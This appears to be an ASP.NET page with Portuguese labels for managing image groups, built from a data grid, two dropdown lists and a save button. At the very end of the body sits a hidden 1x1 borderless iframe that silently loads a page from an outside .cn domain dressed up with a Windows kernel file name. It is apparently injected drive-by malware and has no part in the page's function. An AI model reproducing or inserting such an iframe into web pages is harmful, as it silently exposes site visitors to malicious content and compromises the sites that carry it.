﻿<%@ Page Language="C#" AutoEventWireup="true" CodeFile="ManterAgrupamentoImagem.aspx.cs" Inherits="ManterAgrupamentoImagem" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Untitled Page</title>
    <style type="text/css">


.demoheading {
	padding-bottom:20px;
	color:#5377A9;
	font-family:Arial, Sans-Serif;
	font-weight:bold;
	font-size:1.5em;
}

.collapsePanelHeader{
	width:100%;
	height:30px;
	background-image: url(images/bg-menu-main.png);
	background-repeat:repeat-x;
	color:#FFF;
	font-weight:bold;
}

.divDados{
    font-family: Tahoma, Verdana, Arial, Helvetica;
    font-size:10px;
    border-color:#c2c27c;
    border-style: solid;
    border-width: 1px;
    background-color: #fffde9;
}

.divOID{
    font-family: Tahoma, Verdana, Arial, Helvetica;
    font-size:11px;
    font-weight: bold;
    border-style: solid;
    border-color:#000000;
    border-width: 1px;
    color: #FFFFFF;   
    background-color: #c2c27c;
}

.erro{
   color: rgb(255, 0, 0); 
   font-family: 'Times New Roman','Times',serif; 
   font-weight: bold;
}

body
{
	background: #B4B4B4;
	font-family: Tahoma, Arial, sans-serif;
	font-size:75%;
}

    </style>
</head>
<body>
    <form id="form1" runat="server">
    <asp:ScriptManager ID="ScriptManager1" runat="server">
    </asp:ScriptManager>
    
    <div class="demoheading" style="width:400px">Agrupar Imagem</div>
     <div class="collapsePanelHeader" style="width: 400px; height: 15px">Consultar Grupos de Imagens</div>
      <div style="width:400">
        <asp:UpdatePanel ID="UpdatePanel1" runat="server">
            <ContentTemplate>
                <asp:GridView ID="GridView1" runat="server" AllowPaging="True" 
                    AutoGenerateColumns="False" DataSourceID="obsImagemPorGrupo" 
                    BackColor="White" BorderColor="#DEDFDE" BorderStyle="None" BorderWidth="1px" 
                    CellPadding="4" ForeColor="Black" GridLines="Vertical" 
                    DataKeyNames="nr_codigo">
                    <FooterStyle BackColor="#CCCC99" />
                    <RowStyle BackColor="#F7F7DE" />
                    <Columns>
                        <asp:BoundField DataField="nr_codigo" HeaderText="codigo" 
                            SortExpression="nr_codigo" InsertVisible="False" ReadOnly="True" />
                        <asp:BoundField DataField="tx_nome" HeaderText="nome" 
                            SortExpression="tx_nome" />
                        <asp:BoundField DataField="tx_localizacao" HeaderText="localizacao" 
                            SortExpression="tx_localizacao" />
                        <asp:BoundField DataField="nr_evento" HeaderText="evento" 
                            SortExpression="nr_evento" />
                        <asp:BoundField DataField="nr_autor" HeaderText="autor" 
                            SortExpression="nr_autor" />
                        <asp:BoundField DataField="nr_formato" HeaderText="formato" 
                            SortExpression="nr_formato" />
                        <asp:BoundField DataField="nr_especificacao" HeaderText="especificacao" 
                            SortExpression="nr_especificacao" />
                        <asp:BoundField DataField="nr_software" HeaderText="software" 
                            SortExpression="nr_software" />
                        <asp:BoundField DataField="tx_usuario" HeaderText="usuario" 
                            SortExpression="tx_usuario" />
                        <asp:TemplateField HeaderText="Remover">
                            <ItemTemplate>
                                <asp:LinkButton ID="lbRemove" runat="server" onclick="lbRemove_Click">Remover</asp:LinkButton>
                            </ItemTemplate>
                        </asp:TemplateField>
                    </Columns>
                    <PagerStyle BackColor="#F7F7DE" ForeColor="Black" HorizontalAlign="Right" />
                    <EmptyDataTemplate>
                        <asp:LinkButton ID="LinkButton1" runat="server" onclick="lbRemove_Click">Remover</asp:LinkButton>
                    </EmptyDataTemplate>
                    <SelectedRowStyle BackColor="#CE5D5A" Font-Bold="True" ForeColor="White" />
                    <HeaderStyle BackColor="#6B696B" Font-Bold="True" ForeColor="White" />
                    <AlternatingRowStyle BackColor="White" />
                </asp:GridView>
            </ContentTemplate>
        </asp:UpdatePanel>
    </div> 

        <asp:ObjectDataSource ID="obsImagemPorGrupo" runat="server" 
            DataObjectTypeName="Negocios.AgruparImagem" InsertMethod="Insere" 
            OldValuesParameterFormatString="original_{0}" SelectMethod="ConsultarPorGrupo" 
            TypeName="Negocios.AgruparImagemBLL">
            <SelectParameters>
                <asp:ControlParameter ControlID="ddlGrupo" Name="grupo" 
                    PropertyName="SelectedValue" Type="Int32" />
            </SelectParameters>
        </asp:ObjectDataSource>

    <br />
    <div style="width:400">
        <asp:UpdatePanel ID="UpdatePanel2" runat="server">
          <ContentTemplate>           
            <div class="collapsePanelHeader" style="width: 400px; height: 15px"></div>
                <table class="divDados" style="width: 400px">
                    <tr class="divOID">
                        <td style="width: 125px">
                            <asp:Label ID="lbGrupo" runat="server" Text="Grupo"></asp:Label>
                        </td>
                        <td>
                            &nbsp;&nbsp;
                            <asp:DropDownList ID="ddlGrupo" runat="server" DataSourceID="odsGrupo" 
                                DataTextField="Nome" DataValueField="Codigo" AppendDataBoundItems="True" 
                                AutoPostBack="True">
                                <asp:ListItem Value="0">--selecione o grupo--</asp:ListItem>
                            </asp:DropDownList>
                            <asp:ObjectDataSource ID="odsGrupo" runat="server" 
                                DataObjectTypeName="Negocios.GrupoDeImagens" InsertMethod="Atualiza" 
                                OldValuesParameterFormatString="original_{0}" SelectMethod="ConsultaTodos" 
                                TypeName="Negocios.GrupoDeImagensBLL"></asp:ObjectDataSource>
                        </td>
                    </tr>
                    <tr>
                        <td style="width: 125px">
                            <asp:Label ID="lbImagem" runat="server" Text="Imagem"></asp:Label>
                        </td>
                        <td>
                            <asp:DropDownList ID="ddlImagem" runat="server" 
                                DataSourceID="odsImagem" DataTextField="tx_nome" 
                                DataValueField="nr_codigo" AppendDataBoundItems="True">
                                <asp:ListItem Value="0">--selecione o imagem--</asp:ListItem>
                            </asp:DropDownList>
                            <asp:ObjectDataSource ID="odsImagem" runat="server" 
                                DataObjectTypeName="Negocios.AgruparImagem" InsertMethod="Insere" 
                                OldValuesParameterFormatString="original_{0}" SelectMethod="ConsultarSemGrupo" 
                                TypeName="Negocios.AgruparImagemBLL">
                                <SelectParameters>
                                    <asp:ControlParameter ControlID="ddlGrupo" Name="grupo" 
                                        PropertyName="SelectedValue" Type="Int32" />
                                </SelectParameters>
                            </asp:ObjectDataSource>
                        </td>
                    </tr>
                    <tr>
                        <td align="center" colspan="2">
                            <asp:Button ID="btGravar" runat="server" Text="Gravar" 
                                Width="55px" onclick="BtGravar_Click" />
                            &nbsp;&nbsp;&nbsp;&nbsp;
                            </td>
                    </tr>
                </table>
              <br />
              <asp:Label ID="lbErro" runat="server" CssClass="erro"></asp:Label>
              <br />
           </ContentTemplate>
        </asp:UpdatePanel>
    </div> 
    <div>
    
    </div>
    </form>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
